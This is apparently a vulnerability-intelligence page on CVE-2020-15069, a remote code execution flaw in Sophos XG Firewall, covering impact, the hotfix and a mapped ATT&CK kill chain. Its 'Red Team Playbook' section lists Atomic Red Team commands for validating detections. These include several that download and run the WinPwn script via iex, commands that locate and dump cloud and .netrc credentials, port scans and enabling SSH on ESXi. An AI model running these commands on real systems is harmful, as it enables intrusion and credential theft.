CVE-2020-15069

CRITICAL CISA KEV Pub 29/06 Upd 21/10

Overview

This vulnerability is a buffer overflow caused by improper handling of input data within the HTTP/S Bookmarks feature of Sophos XG Firewall firmware versions 17.x through 17.5 MR12. The flaw arises from insufficient bounds checking when processing clientless access requests, leading to memory corruption. The affected component is the firewall's user portal interface responsible for managing bookmarks over HTTP/S connections.

Vulnerability Description

Sophos XG Firewall 17.x through v17.5 MR12 allows a Buffer Overflow and remote code execution via the HTTP/S Bookmarks feature for clientless access. Hotfix HF062020.1 was published for all firewalls running v17.x.

Impact

An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary code on the firewall, potentially gaining full control over the device. This enables compromise of network traffic inspection, firewall policies, and internal network security. No user interaction or credentials are required, allowing direct exploitation from the internet-facing interface. The business impact includes complete system compromise, disruption of network security enforcement, and potential lateral movement within the protected network environment.

Solution

Sophos published hotfix HF062020.1 addressing this buffer overflow for all XG Firewall versions running 17.x, including 17.5 MR12. Administrators should apply this hotfix promptly to affected devices. Detailed patch instructions and advisory information are available on the Sophos Community Security Blog at https://community.sophos.com/b/security-blog/posts/advisory-buffer-overflow-vulnerability-in-user-portal.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in Sophos XG Firewall versions 17.x through 17.5 MR12 is characterized by a buffer overflow that can lead to remote code execution. This flaw is particularly concerning due to its exploitation potential via the HTTP/S Bookmarks feature, which is intended for clientless access. Buffer overflow vulnerabilities occur when a program writes more data to a buffer than it can hold, leading to adjacent memory corruption. In this case, an attacker can exploit this weakness to execute arbitrary code on the affected device, potentially gaining unauthorized access to sensitive network resources and compromising the integrity of the firewall.

Attack vectors for this vulnerability are primarily remote, allowing an attacker to exploit the flaw without needing physical access to the device. By crafting malicious HTTP/S requests that trigger the buffer overflow, an attacker can manipulate the execution flow of the firewall's firmware. This could lead to various exploitation scenarios, such as deploying malware, exfiltrating data, or establishing persistent access to the network. Given that firewalls are critical components in network security, successful exploitation could result in significant breaches, allowing attackers to bypass security measures and gain control over internal systems.

The real-world impact of this vulnerability is substantial, particularly for organizations relying on Sophos XG Firewall for their network security. The high CVSS score of 9.8 indicates a critical risk, suggesting that successful exploitation could lead to severe consequences, including data breaches, financial losses, and reputational damage. Businesses may face regulatory scrutiny and compliance issues if sensitive data is compromised. Furthermore, the operational disruption caused by a successful attack could hinder business continuity and lead to costly recovery efforts.

To detect and mitigate this vulnerability, organizations should prioritize the deployment of the hotfix provided by Sophos, which addresses the buffer overflow issue. Regularly updating firewall firmware is essential to protect against known vulnerabilities. Additionally, network monitoring tools should be employed to detect unusual traffic patterns or unauthorized access attempts that may indicate exploitation attempts. Implementing strict access controls and segmentation within the network can further limit the potential impact of an attack. Organizations should also conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.

In conclusion, the buffer overflow vulnerability in Sophos XG Firewall presents a significant threat to network security. Its potential for remote code execution underscores the importance of maintaining up-to-date security measures and being vigilant against emerging threats. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare their defenses and mitigate the associated risks.




CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2020-15069, with new telemetry indicating the vulnerability is being targeted more frequently despite a significant decline in its EPSS score. This divergence suggests that while automated or opportunistic exploitation attempts may be waning, targeted adversaries could be increasing their focus on this Sophos XG Firewall flaw, potentially leveraging it in more sophisticated or selective campaigns. The recent inclusion of this vulnerability in the KEV catalog underscores its continued relevance and the need for heightened vigilance. Although no new exploit variants or ransomware associations have surfaced, the uptick in detection activity signals that defenders should remain alert to evolving tactics that might exploit this buffer overflow vulnerability. Consequently, the overall threat level remains critical due to the potential for remote code execution, but the shifting exploitation patterns indicate a nuanced risk landscape requiring ongoing monitoring.

Affected Products (13)

Vendor Product Version CPE
sophos Sophos Xg Firewall Firmware All cpe:2.3:o:sophos:xg_firewall_firmware:*:*:*:*:*:*:*:*
sophos Sophos Xg Firewall Firmware 17.5 cpe:2.3:o:sophos:xg_firewall_firmware:17.5:-:*:*:*:*:*:*
sophos Sophos Xg Firewall Firmware 17.5 cpe:2.3:o:sophos:xg_firewall_firmware:17.5:maintenance_release1:*:*:*:*:*:*
sophos Sophos Xg Firewall Firmware 17.5 cpe:2.3:o:sophos:xg_firewall_firmware:17.5:maintenance_release10:*:*:*:*:*:*
sophos Sophos Xg Firewall Firmware 17.5 cpe:2.3:o:sophos:xg_firewall_firmware:17.5:maintenance_release11:*:*:*:*:*:*
sophos Sophos Xg Firewall Firmware 17.5 cpe:2.3:o:sophos:xg_firewall_firmware:17.5:maintenance_release12:*:*:*:*:*:*
sophos Sophos Xg Firewall Firmware 17.5 cpe:2.3:o:sophos:xg_firewall_firmware:17.5:maintenance_release3:*:*:*:*:*:*
sophos Sophos Xg Firewall Firmware 17.5 cpe:2.3:o:sophos:xg_firewall_firmware:17.5:maintenance_release4:*:*:*:*:*:*
sophos Sophos Xg Firewall Firmware 17.5 cpe:2.3:o:sophos:xg_firewall_firmware:17.5:maintenance_release5:*:*:*:*:*:*
sophos Sophos Xg Firewall Firmware 17.5 cpe:2.3:o:sophos:xg_firewall_firmware:17.5:maintenance_release6:*:*:*:*:*:*
sophos Sophos Xg Firewall Firmware 17.5 cpe:2.3:o:sophos:xg_firewall_firmware:17.5:maintenance_release7:*:*:*:*:*:*
sophos Sophos Xg Firewall Firmware 17.5 cpe:2.3:o:sophos:xg_firewall_firmware:17.5:maintenance_release8:*:*:*:*:*:*
sophos Sophos Xg Firewall Firmware 17.5 cpe:2.3:o:sophos:xg_firewall_firmware:17.5:maintenance_release9:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

3 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2025-02-06
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution
100% rce
Buffer Overflow
100% buffer_overflow
Code Injection
60% code_injection
OS Command Injection
55% command_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-92 Forced Integer Overflow
73%
High High
CAPEC-44 Overflow Binary Resource File
73%
High Very High
CAPEC-14 Client-side Injection-induced Buffer Overflow
40%
Medium High
CAPEC-9 Buffer Overflow in Local Command-Line Utilities
40%
High High
CAPEC-8 Buffer Overflow in an API Call
33%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2020-15069
community.sophos.com
GitHub CVE x_refsource_CONFIRM
https://community.sophos.com/b/security-blog/posts/advisory-buffer-overflow-vulnerability-in-user-portal
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-15069